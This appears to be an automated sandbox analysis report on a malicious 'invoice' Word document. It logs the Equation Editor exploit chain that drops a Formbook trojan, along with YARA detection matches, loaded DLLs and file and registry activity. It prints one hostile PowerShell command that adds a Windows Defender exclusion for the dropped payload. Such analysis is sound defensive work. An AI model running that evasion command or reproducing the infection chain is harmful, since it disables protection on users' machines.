Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_003953B4	10_2_003953B4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00390544	10_2_00390544
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_003994A7	10_2_003994A7
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00396A48	10_2_00396A48
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00397AF4	10_2_00397AF4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C921C9	10_2_00C921C9
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C99E40	10_2_00C99E40
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C972E0	10_2_00C972E0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C972F0	10_2_00C972F0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C9658A	10_2_00C9658A
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C97728	10_2_00C97728
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C969D0	10_2_00C969D0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C96DF8	10_2_00C96DF8
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00C96E08	10_2_00C96E08
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00395284	10_2_00395284
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_00395748	10_2_00395748
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00403014	13_2_00403014
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0040301C	13_2_0040301C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0040382D	13_2_0040382D
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0040383C	13_2_0040383C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_004108A7	13_2_004108A7
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_004108AF	13_2_004108AF
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0041712F	13_2_0041712F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00410ACF	13_2_00410ACF
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0040EB4F	13_2_0040EB4F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00401BBC	13_2_00401BBC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0042F45F	13_2_0042F45F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00401500	13_2_00401500
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00403E3C	13_2_00403E3C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DAE0C6	13_2_00DAE0C6
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DAE2E9	13_2_00DAE2E9
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DD63DB	13_2_00DD63DB
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E563BF	13_2_00E563BF
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DFA37B	13_2_00DFA37B
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB2305	13_2_00DB2305
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3443E	13_2_00E3443E
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E305E3	13_2_00E305E3
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DCC5F0	13_2_00DCC5F0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DF6540	13_2_00DF6540
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DBE6C1	13_2_00DBE6C1
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB4680	13_2_00DB4680
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E52622	13_2_00E52622
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DFA634	13_2_00DFA634
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DBC7BC	13_2_00DBC7BC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DBC85C	13_2_00DBC85C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DD286D	13_2_00DD286D
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E449F5	13_2_00E449F5
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DC69FE	13_2_00DC69FE
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB29B2	13_2_00DB29B2
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E5098E	13_2_00E5098E
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DFC920	13_2_00DFC920
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E36BCB	13_2_00E36BCB
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E5CBA4	13_2_00E5CBA4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E52C9C	13_2_00E52C9C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3AC5E	13_2_00E3AC5E
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DBCD5B	13_2_00DBCD5B
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DE0D3B	13_2_00DE0D3B
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DCEE4C	13_2_00DCEE4C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DE2E2F	13_2_00DE2E2F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E22FDC	13_2_00E22FDC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E4CFB1	13_2_00E4CFB1
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DC0F3F	13_2_00DC0F3F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DC905A	13_2_00DC905A
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E2D06D	13_2_00E2D06D
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB3040	13_2_00DB3040
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DDD005	13_2_00DDD005
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3D13F	13_2_00E3D13F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E51238	13_2_00E51238
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DAF3CF	13_2_00DAF3CF
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB7353	13_2_00DB7353
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DC1489	13_2_00DC1489
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DE5485	13_2_00DE5485
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DED47D	13_2_00DED47D
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E535DA	13_2_00E535DA
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DB351F	13_2_00DB351F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DE57C3	13_2_00DE57C3
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3579A	13_2_00E3579A
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E4771D	13_2_00E4771D
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E4F8EE	13_2_00E4F8EE
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E2F8C4	13_2_00E2F8C4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3394B	13_2_00E3394B
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E35955	13_2_00E35955
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E63A83	13_2_00E63A83
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DAFBD7	13_2_00DAFBD7
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3DBDA	13_2_00E3DBDA
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DD7B00	13_2_00DD7B00
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E4FDDD	13_2_00E4FDDD
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DDDF7C	13_2_00DDDF7C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00E3BF14	13_2_00E3BF14

Source: ~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: String function: 00DF373B appears 253 times
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: String function: 00DF3F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: String function: 00DAE2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: String function: 00DADF5C appears 137 times
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: String function: 00E1F970 appears 84 times

Source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: milli[1].scr.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: milliano89012.scr.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.SetAccessControl
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.AddAccessRule
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, FAiMyUWZWKk3jewBmb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.SetAccessControl
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.AddAccessRule
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, FAiMyUWZWKk3jewBmb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, FAiMyUWZWKk3jewBmb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.SetAccessControl
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, oVA8TpU01O04b4B6q1.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@8/22@14/2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$voice.docx.doc

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR8507.tmp

Jump to behavior

Source: invoice.docx.doc

OLE indicator, Word Document stream: true

Source: ~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........<.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......,.......X.......$........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.$......./=.........................s............x....... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$.......;=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$.......M=.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$.......Y=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....k=.........................s............x.......$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$.......w=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........=.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......$........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............x.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......H........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......H........=.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......H........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....,.......X.......H........=.........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....,.......X.......H........=.........................s............x...............................	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: invoice.docx.doc	Virustotal: Detection: 29%
Source: invoice.docx.doc	ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr "C:\Users\user\AppData\Roaming\milliano89012.scr"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Section loaded: wow64cpu.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: invoice.docx.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\invoice.docx.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: invoice.docx.doc

Initial sample: OLE zip file path = word/_rels/settings.xml.rels

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

